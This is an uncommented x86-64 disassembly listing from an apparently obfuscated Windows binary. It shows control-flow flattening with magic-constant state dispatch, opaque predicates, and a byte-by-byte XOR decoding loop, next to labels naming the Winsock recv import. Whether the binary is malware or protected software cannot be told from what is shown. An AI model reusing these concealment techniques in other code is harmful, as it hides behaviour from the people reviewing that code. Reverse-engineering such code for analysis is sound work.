mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, r15
mov r15, rsp
mov byte [r12 + 3], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 4]
mov eax, 0x9c6a156
jmp 0x140012600
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r8d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012660
cmp eax, 0x65935c71
je 0x140012594
cmp eax, 0x10a09de6
je 0x14001267c
cmp eax, 0x9c6a156
jne 0x140012600
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl r14b
xor r14b, bl
mov ebx, 0xe804e5f4
cmovne ebx, r10d
test eax, r11d
mov eax, ebx
cmove eax, r10d
jmp 0x1400125ec
cmp eax, 0xe804e5f4
je 0x140012675
cmp eax, 0x9209573
jne 0x140012600
mov eax, 0x10a09de6
jmp 0x140012600
mov eax, 0x65935c71
jmp 0x140012600
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, r15
mov r15, rsp
mov byte [r12 + 4], al
movzx ecx, byte [rcx + 5]
mov eax, 0x9c6a156
jmp 0x1400126f0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop dword [rax + rax]
cmp eax, 0x9c6a155
jle 0x140012750
cmp eax, 0x65935c71
je 0x14001269b
cmp eax, 0x10a09de6
je 0x14001276c
cmp eax, 0x9c6a156
jne 0x1400126f0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl dil
xor dil, bl
mov edi, 0xe804e5f4
cmovne edi, r10d
test eax, r11d
mov eax, edi
cmove eax, r10d
cmp edx, 0xa
cmovge eax, edi
jmp 0x1400126f0
cmp eax, 0xe804e5f4
je 0x140012765
cmp eax, 0x9209573
jne 0x1400126f0
mov eax, 0x10a09de6
jmp 0x1400126f0
mov eax, 0x65935c71
jmp 0x1400126f0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x10
mov rsp, r15
mov r15, rsp
mov byte [r12 + 5], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 6]
mov eax, 0x9c6a156
jmp 0x1400127e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140012850
cmp eax, 0x65935c71
je 0x14001278e
cmp eax, 0x10a09de6
je 0x140012872
cmp eax, 0x9c6a156
jne 0x1400127e0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x1400127e0
cmp eax, 0xe804e5f4
je 0x140012868
cmp eax, 0x9209573
jne 0x1400127e0
mov eax, 0x10a09de6
jmp 0x1400127e0
mov eax, 0x65935c71
jmp 0x1400127e0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x11
mov rsp, r15
mov r15, rsp
mov byte [r12 + 6], al
movzx ecx, byte [rcx + 7]
mov eax, 0x9c6a156
jmp 0x1400128f0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0xe804e5f4
cmovne edi, r8d
cmp r11d, 0xffffffff
mov eax, edi
cmove eax, r8d
cmp edx, 0xa
cmovge eax, edi
nop
cmp eax, 0x9c6a155
jle 0x140012950
cmp eax, 0x65935c71
je 0x140012891
cmp eax, 0x10a09de6
je 0x14001296c
cmp eax, 0x9c6a156
jne 0x1400128f0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl dil
xor dil, bl
mov edi, 0xe804e5f4
cmovne edi, r10d
test eax, r11d
mov eax, edi
cmove eax, r10d
jmp 0x1400128e8
cmp eax, 0xe804e5f4
je 0x140012965
cmp eax, 0x9209573
jne 0x1400128f0
mov eax, 0x10a09de6
jmp 0x1400128f0
mov eax, 0x65935c71
jmp 0x1400128f0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x12
mov rsp, r15
mov r15, rsp
mov byte [r12 + 7], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 8]
mov eax, 0x9c6a156
jmp 0x1400129e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140012a40
cmp eax, 0x65935c71
je 0x14001298e
cmp eax, 0x10a09de6
je 0x140012a5c
cmp eax, 0x9c6a156
jne 0x1400129e0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x1400129e0
cmp eax, 0xe804e5f4
je 0x140012a55
cmp eax, 0x9209573
jne 0x1400129e0
mov eax, 0x10a09de6
jmp 0x1400129e0
mov eax, 0x65935c71
jmp 0x1400129e0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x13
mov rsp, r15
mov r15, rsp
mov byte [r12 + 8], al
movzx ecx, byte [rcx + 9]
mov eax, 0x9c6a156
jmp 0x140012ad0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop dword [rax + rax]
cmp eax, 0x9c6a155
jle 0x140012b30
cmp eax, 0x65935c71
je 0x140012a7b
cmp eax, 0x10a09de6
je 0x140012b4c
cmp eax, 0x9c6a156
jne 0x140012ad0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140012ad0
cmp eax, 0xe804e5f4
je 0x140012b45
cmp eax, 0x9209573
jne 0x140012ad0
mov eax, 0x10a09de6
jmp 0x140012ad0
mov eax, 0x65935c71
jmp 0x140012ad0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x14
mov rsp, r15
mov r15, rsp
mov byte [r12 + 9], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 0xa]
mov eax, 0x9c6a156
jmp 0x140012bc0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140012c30
cmp eax, 0x65935c71
je 0x140012b6e
cmp eax, 0x10a09de6
je 0x140012c52
cmp eax, 0x9c6a156
jne 0x140012bc0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x140012bc0
cmp eax, 0xe804e5f4
je 0x140012c48
cmp eax, 0x9209573
jne 0x140012bc0
mov eax, 0x10a09de6
jmp 0x140012bc0
mov eax, 0x65935c71
jmp 0x140012bc0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x15
mov rsp, r15
mov r15, rsp
mov byte [r12 + 0xa], al
movzx ecx, byte [rcx + 0xb]
mov eax, 0x9c6a156
jmp 0x140012cd0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012d40
cmp eax, 0x65935c71
je 0x140012c71
cmp eax, 0x10a09de6
je 0x140012d62
cmp eax, 0x9c6a156
jne 0x140012cd0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0xe804e5f4
cmovne edi, r10d
cmp r11d, 0xffffffff
mov eax, edi
cmove eax, r10d
cmp edx, 0xa
cmovge eax, edi
jmp 0x140012cd0
cmp eax, 0xe804e5f4
je 0x140012d58
cmp eax, 0x9209573
jne 0x140012cd0
mov eax, 0x10a09de6
jmp 0x140012cd0
mov eax, 0x65935c71
jmp 0x140012cd0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x16
mov rsp, r15
mov r15, rsp
mov byte [r12 + 0xb], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 0xc]
mov eax, 0x9c6a156
jmp 0x140012de0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012e50
cmp eax, 0x65935c71
je 0x140012d84
cmp eax, 0x10a09de6
je 0x140012e72
cmp eax, 0x9c6a156
jne 0x140012de0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax - 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r10d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r10d
cmp edx, 0xa
cmovge eax, ebx
jmp 0x140012de0
cmp eax, 0xe804e5f4
je 0x140012e68
cmp eax, 0x9209573
jne 0x140012de0
mov eax, 0x10a09de6
jmp 0x140012de0
mov eax, 0x65935c71
jmp 0x140012de0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x17
mov rsp, r15
mov r15, rsp
mov byte [r12 + 0xc], al
movzx ecx, byte [rcx + 0xd]
mov eax, 0x9c6a156
jmp 0x140012ef0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140012f60
cmp eax, 0x65935c71
je 0x140012e91
cmp eax, 0x10a09de6
je 0x140012f82
cmp eax, 0x9c6a156
jne 0x140012ef0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov edi, 0xe804e5f4
cmovne edi, r10d
cmp r11d, 0xffffffff
mov eax, edi
cmove eax, r10d
cmp edx, 0xa
cmovge eax, edi
jmp 0x140012ef0
cmp eax, 0xe804e5f4
je 0x140012f78
cmp eax, 0x9209573
jne 0x140012ef0
mov eax, 0x10a09de6
jmp 0x140012ef0
mov eax, 0x65935c71
jmp 0x140012ef0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x18
mov rsp, r15
mov r15, rsp
mov byte [r12 + 0xd], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 0xe]
mov eax, 0x9c6a156
jmp 0x140013010
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax - 1]
imul r11d, eax
not r11d
or r11d, 0xfffffffe
cmp r11d, 0xffffffff
sete al
cmp edx, 0xa
setl bl
xor bl, al
mov ebx, 0xe804e5f4
cmovne ebx, r8d
cmp r11d, 0xffffffff
mov eax, ebx
cmove eax, r8d
cmp edx, 0xa
cmovge eax, ebx
nop word cs:[rax + rax]
cmp eax, 0x9c6a155
jle 0x140013070
cmp eax, 0x65935c71
je 0x140012fa4
cmp eax, 0x10a09de6
je 0x14001308c
cmp eax, 0x9c6a156
jne 0x140013010
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140013010
cmp eax, 0xe804e5f4
je 0x140013085
cmp eax, 0x9209573
jne 0x140013010
mov eax, 0x10a09de6
jmp 0x140013010
mov eax, 0x65935c71
jmp 0x140013010
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x19
mov rsp, r15
mov rdi, rsp
mov byte [r12 + 0xe], al
movzx ecx, byte [rcx + 0xf]
mov eax, 0x9c6a156
jmp 0x140013100
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x140013160
cmp eax, 0x65935c71
je 0x1400130ab
cmp eax, 0x10a09de6
je 0x14001317c
cmp eax, 0x9c6a156
jne 0x140013100
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x140013100
cmp eax, 0xe804e5f4
je 0x140013175
cmp eax, 0x9209573
jne 0x140013100
mov eax, 0x10a09de6
jmp 0x140013100
mov eax, 0x65935c71
jmp 0x140013100
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1a
mov rsp, rdi
mov r15, rsp
mov byte [r12 + 0xf], al
mov rcx, qword [rsi]
movzx edi, byte [rcx + 0x10]
mov eax, 0x9c6a156
jmp 0x1400131f0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], dil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140013250
cmp eax, 0x65935c71
je 0x14001319e
cmp eax, 0x10a09de6
je 0x14001326c
cmp eax, 0x9c6a156
jne 0x1400131f0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x1400131f0
cmp eax, 0xe804e5f4
je 0x140013265
cmp eax, 0x9209573
jne 0x1400131f0
mov eax, 0x10a09de6
jmp 0x1400131f0
mov eax, 0x65935c71
jmp 0x1400131f0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1b
mov rsp, r15
mov rdi, rsp
mov byte [r12 + 0x10], al
movzx ecx, byte [rcx + 0x11]
mov eax, 0x9c6a156
jmp 0x1400132e0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], cl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop word [rax + rax]
cmp eax, 0x9c6a155
jle 0x140013340
cmp eax, 0x65935c71
je 0x14001328b
cmp eax, 0x10a09de6
je 0x14001335c
cmp eax, 0x9c6a156
jne 0x1400132e0
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete dl
mov eax, 0xe804e5f4
cmove eax, r10d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r10d
jmp 0x1400132e0
cmp eax, 0xe804e5f4
je 0x140013355
cmp eax, 0x9209573
jne 0x1400132e0
mov eax, 0x10a09de6
jmp 0x1400132e0
mov eax, 0x65935c71
jmp 0x1400132e0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1c
mov rsp, rdi
mov rcx, rsp
mov byte [r12 + 0x11], al
mov rax, qword [rsi]
movzx esi, byte [rax + 0x12]
mov eax, 0x9c6a156
jmp 0x1400133d0
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp], rax
mov rax, qword [rbp]
mov byte [rax], sil
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r8d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r9d
setl r11b
xor r11b, dl
cmovne eax, r8d
nop
cmp eax, 0x9c6a155
jle 0x140013430
cmp eax, 0x65935c71
je 0x14001337e
cmp eax, 0x10a09de6
je 0x14001344c
cmp eax, 0x9c6a156
jne 0x1400133d0
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea r11d, [rax + 1]
imul r11d, eax
mov eax, r11d
xor eax, 0xfffffffe
test eax, r11d
sete bl
cmp edx, 0xa
setl dil
xor dil, bl
mov edi, 0xe804e5f4
cmovne edi, r10d
test eax, r11d
mov eax, edi
cmove eax, r10d
cmp edx, 0xa
cmovge eax, edi
jmp 0x1400133d0
cmp eax, 0xe804e5f4
je 0x140013445
cmp eax, 0x9209573
jne 0x1400133d0
mov eax, 0x10a09de6
jmp 0x1400133d0
mov eax, 0x65935c71
jmp 0x1400133d0
mov rax, qword [rbp]
movzx eax, byte [rax]
xor al, 0x1d
mov rsp, rcx
mov byte [r12 + 0x12], al
mov eax, 0x2ccc413b
jmp 0x140010950
movzx ecx, byte [rbp + 0x1e0]
movzx eax, byte [rbp + 0x168]
mov esi, ecx
xor sil, al
test al, al
mov eax, 0x4fef4114
mov edx, 0x2ccc413b
cmovne eax, edx
test cl, cl
mov ecx, 0x4fef4114
cmove eax, ecx
test sil, sil
cmovne eax, edx
jmp 0x140010950
cmp eax, 0x2a706f1f
jne 0x140010950
mov rax, qword [rbp + 0x200]
mov eax, 0x2b52139c
mov rsp, qword [rbp + 0x128]
jmp 0x140010870
mov rax, qword [rbp + 0x178]
mov rsp, qword [rbp + 0x120]
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140013502
xor cl, al
jne 0x140013502
nop word [rax + rax]
jmp 0x140013500
sub rsp, 0x20
lea rcx, [rbp + 0x1b0]
lea rdx, [rbp + 0x138]
call fcn.140027000
add rsp, 0x20
sub rsp, 0x30
mov dword [rsp + 0x20], 1
mov rbx, rbp
lea rdi, [rbp + 0x138]
mov rcx, rbx
mov rdx, rdi
mov r8d, 1
mov r9d, 0x40
call fcn.140027450
add rsp, 0x30
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x140013582
or cl, al
jne 0x14001374c
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov r14d, 0xa1dae94d
nop word cs:[rax + rax]
cmp eax, 0xe9738f9d
je 0x140013719
cmp eax, 0x8e514f33
jne 0x1400135a0
sub rsp, 0x20
mov rcx, rdi
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x140013650
cmp eax, 0xa1dae94d
je 0x140013697
cmp eax, 0xb5ee369a
je 0x1400136b8
cmp eax, 0xc7dc8da9
jne 0x140013600
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140013600
cmp eax, 0x354e3b8c
je 0x14001370f
cmp eax, 0x559d78c6
je 0x1400136c2
cmp eax, 0x66202512
jne 0x140013600
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
nop word cs:[rax + rax]
cmp eax, 0x51eaacfe
je 0x140013690
cmp eax, 0x89bfb55a
jne 0x140013680
jmp 0x1400136a1
mov eax, 0x89bfb55a
jmp 0x140013680
mov eax, 0x66202512
jmp 0x140013600
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x140013600
mov eax, 0x559d78c6
jmp 0x140013600
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0xb5ee369a
cmovne r8d, r14d
test eax, edx
mov eax, r8d
cmove eax, r14d
cmp ecx, 0xa
mov qword [rbp + 0x190], rdi
cmovge eax, r8d
jmp 0x140013600
mov eax, 0xe9738f9d
jmp 0x1400135a0
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x1400138e0
or cl, al
test cl, 1
je 0x1400138e0
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov r14d, 0xa1dae94d
jmp 0x140013770
mov eax, 0xe9738f9d
nop word cs:[rax + rax]
cmp eax, 0xe9738f9d
je 0x140013582
cmp eax, 0x8e514f33
jne 0x140013770
sub rsp, 0x20
mov rcx, rdi
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete byte [rbp + 0x200]
cmp ecx, 0xa
setl byte [rbp + 0x1e8]
mov eax, 0xc7dc8da9
nop word cs:[rax + rax]
cmp eax, 0x354e3b8b
jg 0x140013820
cmp eax, 0xa1dae94d
je 0x140013867
cmp eax, 0xb5ee369a
je 0x140013888
cmp eax, 0xc7dc8da9
jne 0x1400137d0
movzx ecx, byte [rbp + 0x200]
movzx eax, byte [rbp + 0x1e8]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x1400137d0
cmp eax, 0x354e3b8c
je 0x14001375e
cmp eax, 0x559d78c6
je 0x140013892
cmp eax, 0x66202512
jne 0x1400137d0
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x190]
nop word cs:[rax + rax]
cmp eax, 0x51eaacfe
je 0x140013860
cmp eax, 0x89bfb55a
jne 0x140013850
jmp 0x140013871
mov eax, 0x89bfb55a
jmp 0x140013850
mov eax, 0x66202512
jmp 0x1400137d0
sub rsp, 0x20
call fcn.1400c0b30
add rsp, 0x20
mov eax, 0x354e3b8c
jmp 0x1400137d0
mov eax, 0x559d78c6
jmp 0x1400137d0
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax - 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r8b
xor r8b, al
mov r8d, 0xb5ee369a
cmovne r8d, r14d
cmp edx, 0xffffffff
mov eax, r8d
cmove eax, r14d
cmp ecx, 0xa
mov qword [rbp + 0x190], rdi
cmovge eax, r8d
jmp 0x1400137d0
mov eax, dword [0x1402b5cb0]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1402b5cb4], 0xa
setge dl
setl r8b
xor r8b, al
or dl, cl
not dl
or dl, r8b
test dl, 1
mov eax, 0xecf238d2
mov edx, 0x26cb7b26
cmove eax, edx
mov ecx, 0x96851c3a
cmove ecx, edx
mov r8d, 0x6e25872
nop dword [rax + rax]
cmp r8d, 0x6e25871
jle 0x140013960
cmp r8d, 0x6e25872
je 0x14001397a
